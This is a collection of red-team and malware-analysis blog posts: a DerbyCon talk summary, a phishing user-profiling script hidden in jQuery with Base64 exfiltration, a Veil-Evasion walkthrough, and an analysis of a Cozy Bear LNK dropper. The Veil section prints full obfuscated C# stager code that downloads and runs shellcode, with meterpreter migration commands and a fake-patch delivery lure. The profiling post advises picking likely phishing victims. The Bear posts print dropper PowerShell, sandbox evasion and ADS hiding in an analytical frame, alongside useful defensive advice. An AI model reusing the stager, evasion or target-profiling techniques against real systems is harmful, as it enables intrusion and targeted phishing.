DerbyCon briefing 2018

Hi All,
I didn’t get as much time as I needed, so here is the briefing with a few additional slides added.

Video of briefing:

It was interesting to see several other briefings that were about the same exact underlying point, but coming up with different creative solutions.

“Gryffindor | Pure Javascript, Covert Exploitation” by Matthew Toussain of BlackHills Security, and “FoxTrot C2: A Journey of Payload Delivery” by Dimitry Snezhkov were both tool reveal talks, but focused on the same underlying points as my talk.

1. Real world attackers have more resources than Red Teams
3. Detecting a Red Team may give a client the wrong impression that they are resilient to targeting by an APT

Both of their talks addressed this fact by releasing new and novel tools. In this case endpoint agents (Gryffindor), and C2 (FoxTrot C2). My idea was just to skip the details of endpoint compromise and phishing, whitelist the payload, and by doing so bring yourself into parity with an APT. You are inside the network, you have persistence, let the real test begin. So I guess you could say my idea was born out of pragmatism and the notion that although staying even with APT’s may be possible for periods at a time it is not sustainable for the red teaming community over the long haul.

This is just a call to use stealthy Internal Penetration Testing where the SOC is being tested. This is not a new idea, or something I made up. This is simply a new way to frame and think of an already existing style of engagement. If we agree with the “Assume Breach” mentality we should consider a stealthy internal test as the closest thing to real world threat emulation. Unless you are a red team with a golden ticket to break the law. If that’s the case, let me know if you are hiring. Let me know what your thoughts are.

Sam (keyzer a.T.

Thoughts on user profiling

Boy oh boy has it been awhile. New job, new state, new house, new excuses 🙂

I wanted to make a post on the subject of user profiling as a way to document and work out my own thoughts on the subject. Sometimes things that sound great in your head look utterly stupid once you put them to “ink”. This is also a good time to talk about a script that I pushed to Github:

This script has some background info on the Github page, including info on the original author of the script. I took his work, added the Flash support, minimized, and packed the script, then put it inside legitimate jQuery. The profiling exfill method was modified to be inside a Base64 image GET request rather than a POST.

This post is looking to discuss the value of profiling users and if there are other benefits that have been overlooked.

Profiling activity through websites can be broken down into two catgegories:

  • Passive – no profiling script. Attacker is just looking at UserAgent in GET requests on attacker controlled domain
  • Active – profiling script and/or cookies are used. Attacker monitors POST or encoded GET request output from the profiling script

The obvious benefit to Passive is that there is no “script” for the victims SOC to find in the event that an email gets flagged as suspicious. The downside is that there are limitations to the info you can get from a UserAgent; information such as support for Flash and Java will not be present. The benefits to active are the exact inverse of passive. That being said, plenty of legitimate “profiling” scripts are being used by non-malicious websites to make sure proper content is being delivered. The rewards far outweigh the risks in my opinion. I might make an exception if the target is a known “hard target” or person of importance that will have email under a higher degree of scrutiny.

Focusing on the active side of things, what do we want to get out of profiling?

The obvious answer is, “the users plugins and versions so we can create a targeted exploit if applicable.” While that is still true, I believe that this is largely becoming less relevant as Flash phases out slowly. Corporations often times need to run Java, but sending an “exploit” to the endpoint is fairly risky when you don’t know what EDR products are on the workstation. Criminals have no problems doing this back in the day with exploit kits because it’s a number game and they aren’t trying to target one specific corporation like a Red Teamer is.

A more nuanced benefit is that you can get an idea which users are likely to click on links, and then follow up down the road with an actual payload for the specific users that are known “clickers”. No point in spraying your malicious link across an organizations inboxes if you don’t have to. APT’s are well known for performing recon before delivering payloads, but many Red Teams do not since they are on a tight timeframe. I have no scientific data to back it up, but the inclusion of screen resolution is my favorite piece of data returned. Why? Most sandboxes have very low resolutions, and I don’t believe I have ever seen more modern resolutions like 1920x. Additionally, if you get some crazy high resolution like 3840 I would stereotypically say that user might be a higher priority target like a developer or sys admin. I would also caution that those are the users more likely to report phishing or poke at your infrastructure. My ideal target is running IE and 1600 ish resolution. No technical users surf the web with IE if they have any other options, and not too many orgs don’t have Chrome/Chromium or Firefox alongside the corporate mandated IE for some crappy legacy app that absolutely must be supported. So anyone with IE and a lower resolution is often times our standard, non technical office grunt. That being said, sometimes if people are clicking on links inside Outlook it will open in IE as a default browser.

An additional benefit is that you can embed a profiling script on a web page which contains a payload and then send each targeted user a link to a unique URI. For example, send users a link to where each unique_id is correlated to a particular targeted user. The profiling script which I have put on github is designed to be used in this method. You would be amazed at how much traffic your site starts getting as soon as you start phishing. Being able to determine what the “leak” is and if requests outside your targeted user are general spidering behavior, or threat hunters performing targeted “poking” are useful to gauge the overall security posture of your target. On engagements before I have heard a Tier2 SOC analyst proudly say, “Did you see my request to your site, I used the Google Bot User Agent?” Of course a seasoned SOC will not typically touch any suspected attack infrastructure. But….. this is the real world and it happens.

The profiling script which is 90% the code created by Christian Ludwig and cited on my github is pretty standard. It give you the following info.

http://localhost:8000/index.php?id=sam|OS: Mac OS X 10.13|Browser: Firefox 60 (60.0)|Mobile: false|Flash: 29.0 r0|Java: false|Cookies: true|Screen Size: 1680 x 1050|Language: en-US|Full User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

The original request inside your access log will look as follows:

Example Log output: [Mon Apr 16 11:51:17 2018] ::1:63582 [200]: /analytics.gif?uid=aHR0cDovL2xvY2FsaG9zdDo4MDAwL2luZGV4LnBocD9pZD1zYW18T1M6IE1hYyBPUyBYIDEwLjEzfEJyb3dzZXI6IEZpcmVmb3ggNjAgKDYwLjApfE1vYmlsZTogZmFsc2V8Rmxhc2g6IDI5LjAgcjB8SmF2YTogZmFsc2V8Q29va2llczogdHJ1ZXxTY3JlZW4gU2l6ZTogMTY4MCB4IDEwNTB8TGFuZ3VhZ2U6IGVuLVVTfEZ1bGwgVXNlciBBZ2VudDogTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTAuMTM7IHJ2OjYwLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNjAuMA==

Happy Profiling.

Veil-Evasion, and Process Injection monitoring with ProcMon

I’m taking a break from the Bears writeup to look at the swiss army knife payload generator and obfuscation tool Veil-Evasion. For those not familiar, it is a fairly foolproof way to get your payloads around client side AV. Most AV products suck, but they are still good enough to catch any default payloads from metasploit. The goal of veil is to give you similar tools to what the guys out there doing this for a living actually have. Major props to @harmj0y and the crew behind Veil. Today I am going to generate a payload, run it, migrate to hide it, and then see what things look like from the endpoint. There are LOTS of cool payloads so I recommend checking it out.

For this initial go around I will use a meterpreter rev_https shell which is a tried and true way to get around most firewalls. Since I am going to do a rev_https shell, it makes sense that I set my listener to 443. At a casual glance IR/CIRT might assume that it is https traffic to a local web server. Enter your LHOST and LPORT, then simply type “generate” to run and compile the C# code. As the splash mentions, don’t be an ass and submit the code to VirusTotal or malwr.

 Veil-Evasion | [Version]: 2.28.2
 [Web]: | [Twitter]: @VeilFramework

 [*] Executable written to: /var/lib/veil-evasion/output/compiled/service.exe

 Language:		cs
 Payload:		cs/meterpreter/rev_https
 Required Options:      COMPILE_TO_EXE=Y  LHOST=  LPORT=443
 Payload File:		/var/lib/veil-evasion/output/source/service.cs
 Handler File:		/var/lib/veil-evasion/output/handlers/service_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

Let’s take a look at the source code before we run the exe on a Win10 box. I won’t dig into the details of the loops since we already know this is a reverse shell which is going to beacon out. Looking at the random strings and methods of building arrays should look fairly familiar if you have spent any time looking at VBS macro droppers which are automated in a similar fashion. We can see the Crypto libraries for the encrypted SSL comms, we can see the faked user agent strings, and that the C2 is actually going to be passed from the attack box to the victim in the URI.

KcgNMLCmI = HVITufm("" + hSIyuaclhbIKw(VUrMJJNOMylnMo));

On a typical engagement this would likely be an innocuous sounding domain name pointing to your handler running in AWS or similar. Would you immediately be suspicious of a domain like this in your traffic?

I wouldn’t.. Consider that when I go to CNN with firebug on, I see stuff like this which is legit.®ion=30&btreg=316303355&btadsrv=doubleclick&crt=78198179&crtname=&chnl=&unit=&pid=&uid=&dvtagver=6.1.src

Still doubt me?

This is why it is so damn hard to be on the defensive side. Your best bet is defending the endpoints since network traffic is a guessing game even if you are in an environment that can stomach domain white listing.

Anyhow, here is the code generated for the reverse shell by Veil-Evasion.

using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices;
namespace qmVybJ { class HwPXMGnl {
private static bool yzrhGgHYX(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }
static string wvenQNG(Random r, int s) {
char[] ucSiUmAtHTox = new char[s];
string jPzxWRqspJKAoqR = "SUjRIxarp3mEJflcFAvVozD7d84wCtYXGWKOMy96TqZs25QgkN01uhBLeinPHb";
for (int i = 0; i < s; i++){ ucSiUmAtHTox[i] = jPzxWRqspJKAoqR[r.Next(jPzxWRqspJKAoqR.Length)];}
return new string(ucSiUmAtHTox);}
static bool YqULHNvuyxpbUR(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) % 0x100 == 92);}
static string hSIyuaclhbIKw(Random r) { string xRxnMrflSbj = "";
for (int i = 0; i < 64; ++i) { xRxnMrflSbj = wvenQNG(r, 3);
string talfjdJc = new string("m41NbdYgfGQjW3nzOHUS7pksIZl2y9ciVXrvAB0xTKaquCPF5EoJM8tehDR6wL".ToCharArray().OrderBy(s => (r.Next(2) % 2) == 0).ToArray());
for (int j = 0; j < talfjdJc.Length; ++j) {
string rFFdcaABTwojeR = xRxnMrflSbj + talfjdJc[j];
if (YqULHNvuyxpbUR(rFFdcaABTwojeR)) {return rFFdcaABTwojeR;}}} return "9vXU";}static byte[] HVITufm(string tVjsDhLPDKHNf) {
ServicePointManager.ServerCertificateValidationCallback = yzrhGgHYX;
WebClient FPcGsTebmeYWk = new System.Net.WebClient();
FPcGsTebmeYWk.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");
FPcGsTebmeYWk.Headers.Add("Accept", "*/*");
FPcGsTebmeYWk.Headers.Add("Accept-Language", "en-gb,en;q=0.5");
FPcGsTebmeYWk.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
byte[] aDwIpKd = null;
try { aDwIpKd = FPcGsTebmeYWk.DownloadData(tVjsDhLPDKHNf);
if (aDwIpKd.Length < 100000) return null;}
catch (WebException) {}
return aDwIpKd;}
static void QWtlFDGkN(byte[] HuHeuyxoa) {
    if (HuHeuyxoa != null) {
        UInt32 lgUBVysGbhpUT = VirtualAlloc(0, (UInt32)HuHeuyxoa.Length, 0x1000, 0x40);
        Marshal.Copy(HuHeuyxoa, 0, (IntPtr)(lgUBVysGbhpUT), HuHeuyxoa.Length);
        IntPtr WcqudPV = IntPtr.Zero;
        UInt32 bBKzAFzzBm = 0;
        IntPtr yqAnvgjjBIRQG = IntPtr.Zero;
        WcqudPV = CreateThread(0, 0, lgUBVysGbhpUT, yqAnvgjjBIRQG, 0, ref bBKzAFzzBm);
        WaitForSingleObject(WcqudPV, 0xFFFFFFFF); }}
static void Main(){
Random VUrMJJNOMylnMo = new Random((int)DateTime.Now.Ticks);
byte[] KcgNMLCmI = HVITufm("" + hSIyuaclhbIKw(VUrMJJNOMylnMo));
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 pLnaDIDFdQwKcK,UInt32 kugvrUNzuh, UInt32 ixrbXNyJBMXzr, UInt32 ISTUcXfe);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 EnjOYJzc, UInt32 bDgnvBXv, UInt32 gCOpUanS,IntPtr wbsOhMOIh, UInt32 PaAqAbKiE, ref UInt32 yxbSxjcoOTX);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr ZlWwvPAlz, UInt32 EPJujz); } }

Now let's get the exe onto the victim box and run it. First we setup our metasploit handler which veil has been nice enough to give us a handler file for ( /var/lib/veil-evasion/output/handlers/service_handler.rc). This handy file makes it a one shot deal to get your payload handler running. Once in msfconsole simply type "resource" and then the path to your .rc file.

I am glossing over the initial compromise method since that isn't the focus of this briefing. Let's say we social engineer someone into believing they need to patch their system, and include a link to download the patch.

On the attacker box I see a session being started when the Windows 10 box runs the service.exe. To make things more "difficult" for the defensive side I first interact with the session, then I am going to list processes and migrate to one so that the initial service.exe can get killed and I can live on in process injection.

If you are new to metasploit the following commands inside msfconsole list sessions, interact with one, find processes, then migrate.

sessions -l 
sessions -i session# 
migrate pid#

Since I am masquerading C2 traffic as https traffic it makes sense that I would migrate to something like a browser. Here is a shot of a successful migration to the venerable IE.

On the host box I fire up process hacker like a dutiful sys admin might if he suspected something was suspicious. There is no longer a suspicious "service.exe" and the network connections reveal Internet Explorer talking with websites over the normal 80 and 443. You can obviously pick out the "bad" connection since you know for this demo that I am a local attacker, but if you replaced my local Kali handler with one and AWS and a public IP good luck spotting that. Of course I am eventually going to want to elevate myself as system and migrate to somewhere else for persistence since in my current state if the user kills internet explorer my shell dies with it. For the sake of making this a bit more challenging I will leave my shell inside internet explorer.

Using Process Hacker and looking at strings in memory I can make out the various URI's corresponding to Bing, yahoo, and anything else I have open. Mixed in there is the IP address of the attack box, but if that was an address like I would naturally just assume that my browser was pulling down ads on one of the homepages. Defensive Group Policy like Applocker and changing scripts to open with notepad.exe are a million times more effective than AV or IOC based detection on network traffic. Whitelisting can be bypassed via injection, but for most circumstances if you can stop that js/hta/vbs/exe/com from running in a temp directory you will force the attacker down a much harder avenue. It is a war of attrition. For an added bonus, Applocker is built into Windows so you don't have to blow more money in your company. Looking at the traffic in Wireshark confirms that all the communications are TLS encrypted so unless you have MITM functionality on network traffic you aren't going to have squat.

HOWEVER, if you migrate your meterpreter session into iexplore.exe you find yourself in a sandbox which you weren't in initially. So in theory an attacker could most likely stay in your browser and easily blend in, but in practice an attacker is going to want to be injected into a process operating with elevated privileges and one that doesn't get killed in the event that a user closes the browser. Here is a screenshot showing that while injected into the browser I couldn't view system process and I eventually I got my shell killed when the browser was closed by the user.

Now lets redo the infection and see what things look like if I go the most likely route that an attacker would take. Exiting out of meterpreter I can see that my handler is still running on 443 so there is no reason to re-launch it.

Relaunching the "service.exe" malware from the browser and pulling up Process Hacker shows that this should clearly alarm you due to the location that it is running out of. I can't stress enough that if you want to make life hard for the APT's, ransomware pushers, and pen testers remove the ability for an executable to run out of any TEMP paths like C:\TEMP (older) or the %APPDDATA% (newer) path via Applocker policy.

Now I migrate over to svchost.exe and you can see in process hacker that the connection is coming through the process which I injected into. Process Injection isn't just done by malware, and nothing yells out and alerts you even on Windows10 that a random executable in APPDATA just injected into an application signed by Microsoft.

If you go look at the memory of the svchost.exe which has injection going through it versus your average svchost.exe you do notice that there is a LOT more going on, particulary with crypto libraries being loaded. You can also see some unique strings which indicate what is going on to the trained eye, but only if you are already looking for this.

Let's take a look at what sort of artifacts are created when this process migration goes through. I am going to use SysInternals ProcMon to watch the migration as inject my shell from it's original dropper "service.exe" into the legitimate notepad.exe. I chose this over the previous migrations because these two processes should have less noise. service.exe is all bad, and notepad.exe is simple and should have no network functionality. If I watched the migration to iexplore.exe there would be substantial noise since many of the connectivity modules and hooks would be present under legitimate circumstances as well.

Filtering off of notepad.exe and service.exe, then viewing Network Summary (Under Tools Dropdown) I can clearly see when the hand off has completed.

Actually looking at the events that have been created from this migration are a little more opaque, but you can see the threads being killed inside service and corresponding ones being opened up in notepad.

Stepping back in time, let me look at the Stack before migration.

And now after the trace is complete during the injection we look at the stack.

Running PS to list the processes inside the session shows what that Query looks like, as you would expect it finds all the running processes. The IRP_MJ_QUERY_INFORMATION is a request by the IO/Manager which does exactly what we would expect, it queries the file system for information on files. Pretty cool to be seeing this level of granularity on a command.

Now I migrate my shell into notepad.exe and look at Procmon for what appears to be the first event of the migration, a Thread Create inside notepad followed with a bunch of Thread's being terminated inside the malicious service.exe. Looking at that thread even show's the stack now contains a number of modules only referenced by the memory address and not a known DLL or program.

As we follow along the event timeline and check the stack for service.exe and notepad.exe we can see the migration occurring. Do to the overload of information that Procmon provides thousands of events occur in between. Once you see service.exe no longer in the timeline and you check on notepad you can see the modules running in the stack include the system and communication drivers you would expect of a backdoor shell.

In summation I want to drive home the following.

  1. You should run AV at home and in your Enterprise, but it should not be considered your "endpoint security solution." AV is fairly easy to get around using tools like Veil or custom packers.
  2. Monitoring network traffic is good, particularly for Data Loss Prevention (DLP). It is not good for spotting malicious traffic however since nearly all bad guys are using https which you will never be able to block at the firewall. Domain whitelisting is great, but C2 can still be delivered via googledocs, twitter, instagram, etc, so you have to REALLY be ready to lock down the network and let the users complain.
  3. Process Injection works and it isn't going away. The one choke point you really have as a defender is to block that moment when the user clicks to run the .hta, js, macro, com, scr, exe, ws, ps1, etc. Your best bet is to not allow regular users to ever run scripts or executable's in temp paths via GroupPolicy. Lots of organizations lock it down so you need an admin to install software, but this does nothing to stop a user from running random code out of %APPDATA%. In the end statistics don't lie and that is where malware drops and often times lives out it's entire life.

Bear’s election campaign – (3/4)

Now the fun begins. Using static analysis of the code we have extracted the two overtly malicious files which are stored as %APPDATA%\\Skype\\hqwhbr.lck” and the ADS PNG residing in the same directory %APPDATA%\\Skype\\hqwhbr.lck:schemas”.

The corresponding hashes I have for the files I carved out of the LNK are 57c627d68e156676d08bfc0829b94331 and cbf96820dc74a50a91b2b8b94376682a which are a match for the Volexity blog so that is a good sign. As I noted before, if you decide to jump in via dynamic analysis to get the two files you will not see the :schemas unless you view the directory in the command prompt and use the /R flag. Alternate Data Streams was created for compatibility with other OS’s, but the only time I have come across is it is for malware or forensics training.

Now that I have the files to look at, I usually start off by running FireEye’s excellent FLOSS tool which does the basic strings, but also does a few levels of un-encoding if it is using simple routines. Running the tool with the -i flag also allows you to have a python script to run in IDA which will show the strings which are decoded. There is also support for RADARE if you are using that. Looking at the output from FLARE we see some interesting strings which lead us to believe that the backdoor is using HTTP/HTTPS for command and control or exfill. Not a big shocker, I’m not aware of much for malware these days that doesn’t fly right by your egress firewall rules by using 80/443.

For the sake of brevity, I will just paste the strings I found of interest. Inside the encoded function located at 0x402937 are browser strings, and some interesting ones which could potentially be related to the suspected TEA algorithm which we assume the PNG is saved as. We also see what I was hoping to find, “:schemas” referenced inside this function which will hopefully save us some time in locating the decoding routine for the PNG. Of note we also see some registry related paths and a reference to IAStorIcon which Volexity mentioned is the location where it achieves persistence in the registry. Three cheers to the girls and guys on the Flare team for creating this tool and open sourcing it to the community.

λ C:\Tools\floss-1.3.0\floss.exe C:\Users\thomas\Desktop\hqwhbr.lck -g -i

FLOSS decoded 48 strings

Decoding function at 0x402937 (decoded 48 strings)

HTTP server=
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

rundll32 "%s", #2

FLOSS extracted 4 stackstrings
Wrote IDAPython script file to C:\Users\thomas\

Loading the .lck DLL into IDA and then running the script against it works with just a few stack string errors which we won’t worry about. We can see from the FLOSS output that the tool has identified 0x402937 as the location of the decoding routine for the strings. Pulling up the graph for the function we can see what is going on with the xor loop.

The corresponding C pseudo code for this XOR routine via the HexRays Decompiler:

char __stdcall sub_402937(int a1, int a2)
  _BYTE *v2; // esi@1
  int v3; // edi@1
  int v4; // ecx@1
  char result; // al@2

  v2 = (_BYTE *)(a2 - 1);
  v3 = a2 - 1;
  v4 = a2 - a1;
    result = *(_BYTE *)(v3 - 2) ^ *(_BYTE *)(v3 - 1) ^ *v2;
    *v2-- = result;
  while ( v4 );
  return result;

Alrighty, so we have determined how FLARE got the decoded strings, but we still need to apply the decoding routine to the whole block of code, not just guessing at functionality from a few decoded strings. Who knows what else is in there if we don’t decode it? Now that we figured out the XOR decoding routine function, we can look at XREF’s to see what calls this function and what arguments are passed to it. From the pseudocode we can tell that we are looking for two arguments (int a1, int a2) which are most likely the start and end of the section to decode.

Right clicking on our function name and clicking on “xrefs to XOR_routine” we can see that two other functions call on it. Looking at the cldsys_2 function we can see two arguments being pushed onto the stack to be passed to the routine.


As we predicted we are seeing two memory locations being passed to the XOR routine, and the do loop counts down with the total loop count being the difference between the memory addresses. So we can expect the count to run (0x401DA3-0x40146A) or (0x939) times which is the length of the encoded section. Next I need to carve out the section which I will use with a custom python script to decode. Something that stumped me for a minute and a coworker helped me with was to find that location in a hex editor. Remember the .lck file is a DLL so it is being loaded into a different address space inside IDA versus just viewing it in a hex editor. That being said we know the difference between the start and end will be the same, it is just the offset that differs. As a quick and easy workaround I did the following. (Note: there has to be an easy way to do this inside IDA, but I don’t know how and the hex editor native to IDA is horrible…) Inside IDA go to the first memory location (0x40146A) and take a look at all the encoded glory.


Now I am going to copy the first row which should be enough to get me a unique string to search for inside my hex editor of choice (Personal favorite is 010).

Inside IDA loaded through a DLL at 0x40146A…

After searching for the corresponding string inside 010 we find the same location to be at 0x86A.

So now we know that the offset is 0x400C00, but we just want to carve the difference between the start and stop which doesn’t vary between the programs. Inside 010 we do a “select range” (start: 0x86A Size: 0x939) and save it to a new file named encoded.bin.

Now it’s time to make our python utility to decode the encoded.bin file. We are at a bit of an advantage since we already know what the C pseudo code looks like for the routine. According to the XOR decoding routine pseudocode each byte is going to be XOR encoded by first the byte two to the left, and then one to the left. I came up with the following python script which decodes the encoded.bin file.

import sys

def main():
	b = bytearray(open(encrypted, 'rb').read())
	r = len(b) -1
	print r

	while (r > 2):
	    b[r] = b[r] ^ b[r-2] 
	    b[r] = b[r] ^ b[r-1]
	    r = r-1
	open('output.bin', 'wb').write(b)

if len(sys.argv) != 2:
	print "Enter the encrypted filename as your argument."

	encrypted = sys.argv[1]
	"Check your directory for the output.bin file"

if __name__ == '__main__':

Great success!


I think this article went on long enough so I will call it a day.

Bear’s election campaign – (2/4)

Continuing the assessment of the Cozy Bear election day campaign mentioned by Volexity. I will be looking at this password protected zip file f79caf27a99c091e6c1775b306993341. This post is focusing on static analysis to get the files to analyze, with the next post focusing on static analysis of the binary itself.

To begin I went ahead and XOR decoded the whole file with the XOR key 41 since we already know that was the key used on most of the files inside the LNK. Browsing through the file for things of interest a few things jump out, an MZ header, a PNG header, and what appears to be an actual RTF file. The Bears have typically used PNG files with encoded binaries inside them as a next stage dropper. Even if you are doing deep packet inspection at the perimeter you are likely to not trigger on an encoded image file coming off of a web server. What seems odd is that this PNG file will already be on disk inside the same blob that contains the DLL, so it is not as though it is hiding. Likely this is to evade AV signatures, and make it harder to figure out what the C2 and full functionality is. If an AV triggers on the file and uploads it to their servers for analysis it may pull the actual DLL file up, but miss out on all the run time data which is being carved out of this fake image file. Since the Bears are known to use the TEA algorithm we will likely have to reverse a routine inside the malware to see if we can pull out the decoding routine being applied to this fake PNG image. Alternatively, we will also run the malware and see if any hooks are inside the PNG data with decoded commands in memory. Sometimes dynamic analysis will save a bit of time over static if we are trying to do this quickly for our companies/clients defensive measures such as DNS/IP blocks.

Looking at the additional Powershell script that was carved out of the bottom of the LNK file and base64 decoded we can see what appears to be the locations to carve out including the decoy document. Many malware writers will focus on the dropper, but completely cut corners when it comes to the decoy which is truly a sign of a Non-Advanced Persistent Threat. It is the authors opinion that if you are a nation state actor and you are using the 2012-0158 CVE and a blank page decoy you should quit “cyber”. Do something better with your “cyber warriors” like have them troll the opposition on Twitter or typo squat with a rick roll redirect. Now that I got that rant off my chest lets look at the Powershell code.

$acc = [IO.FileAccess]::READ
$lnkfd = CreateFile "37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk" $acc;


$os = 0x892e0
$l = 0x9fdda - $os
$fpath = pl_dropper $lnkfd $os $l "%TEMP%\\37486-the-shocking-truth-about-election-rigging-in-america.rtf"

We can see the RTF being carved out, but we aren’t concerned enough to carve that file after we look at it in hex and determine that it is just a decoy. We can see the detect_susp_environ function being called, which is looking for a score greater than 3 at which point heat_proc function is called and the script will exit with a normal termination exit code 0 effectively halting the dropper routine at this point. The scoring was based on some pretty simple stuff such as admin users, BIOS strings for virtualbox/vmware, virtual ethernet adapters, process explorer, task manager, wire shark, etc. Some of the more anti analysis orientated malware searches for hashes of values that it is looking for which makes it a bit more difficult to find what it is looking for, but this is effective enough to avoid most sandbox analysis environments which was the goal. The enterprise shift to automated sandbox analysis has created a common goal of clearing that as the thresh hold. Evading analysis by a talented reverse engineer is such a pain to do that it is rarely worth the effort since at that point your C2 has likely already been extracted via dynamic analysis.

function heat_proc() {
    $s = 0
    For ($i=1; $i -lt 53; $i++) {
        $s += ($i + ($i * $s)) % $i
    Exit 0

function detect_susp_environ() {
    $score = get_susp_rating
    if ($score -gt 3) {

Once we get past the detection routine it is time to do some manual analysis of what is getting carved and placed onto disk for execution.

Invoke-Item "$fpath"
$os = 0x0dac
$l = 0x37ac - $os
$cfpath = pl_dropper $lnkfd $os $l "%APPDATA%\\Skype\\hqwhbr.lck"

$os = 0x37ac
$len = 0x892e0 - $os
$dst = ":schemas"
$ffpath = $cfpath

if ($dst[0] -ne ":") {
    $ffpath = Split-Path -Parent $ffpath
    $ffpath = "$ffpath\\"

$ffpath = "${ffpath}${dst}"
$acc = [IO.FileAccess]::Write
$fs = CreateFile $ffpath $acc
CopyFilePart $lnkfd $os $len $fs
&"rundll32.exe" "$cfpath," "#2"

Of interest to us is $cfpath because we see that it is being launched through the windows program “rundll32.exe” which is the standard way to run a DLL file. So we know that the %APPDATA%\\Skype\\hqwhbr.lck” is actually a DLL which will have a MZ header inside the large LNK file. Here is the $cfpath with variables replaced by values.

$cfpath = pl_dropper $lnkfd 0x0dac (0x37ac – 0x0dac) “%APPDATA%\\Skype\\hqwhbr.lck”, with $lnkfd being equal to the memory space of the entire LNK file which was in the password protected zip.

The math simplifies to a carve for the hqwhbr.lck file starting at 0x0DAC and extending in length 0x2A00 long. After my carve and XOR’ing it with the key of 41 I verify an executable header (MZ) to make sure I didn’t screw up on the math.
mz The hash I have for this file hqwhbr.lck is 57c627d68e156676d08bfc0829b94331 which matches what the Volexity blog lists.

The next carve is to the same path of “%APPDATA%\\Skype\\”, but the destination file is being appended with a :schemas. This may jump out to you if you have ever gone through forensics training, if it doesn’t then don’t feel bad considering it had been awhile since I have seen it as well.

The method of hiding data is called an Alternate Data Stream or ADS, and the typical example given during classes is as follows. User A creates a file with a bunch of filler text called blah.txt. That user also has something they want to keep secret from prying eyes so in the command line they put the data into the ADS of that file which the average user will never see even if they get the file.

Here is a screenshot I made that shows the gist of the premise.

Alternatively, the venerable sysinternals suite has a program called streams.exe which can recursively look for ADS on your system. It easily finds it on my secret text file as shown in the following screenshot.
So in practice with this malware what we see is a DLL file being saved to disk as “%APPDATA%\\Skype\\hqwhbr.lck”, and then a fake image PNG carved out starting at 0x37AC is being placed in the same directory as an Alternate Data Stream. “%APPDATA%\\Skype\\hqwhbr.lck:schemas”
The DLL is only 10.7kb in size, and the ADS PNG is 547.6kb in size so we can assume a fair amount of this droppers functionality is hidden inside the ADS which I might add is still completely encrypted.

Carving out the ADS/PNG, inside 010 we do a “Select Range” from 0x37AC to 0x892E0.

>>> Result = 547636 [85B34h]

Here we can see the beginning of the PNG carve which we will then paste into a new binary file and XOR with the key 41 before saving. png Hashing this file gives us 26631625d8e4e09163f349bed8126ff1 which at the time of writing had not been submitted to VirusTotal.

Now we have our two likely malicious files so we are ready to go for the next post on analyzing the binaries.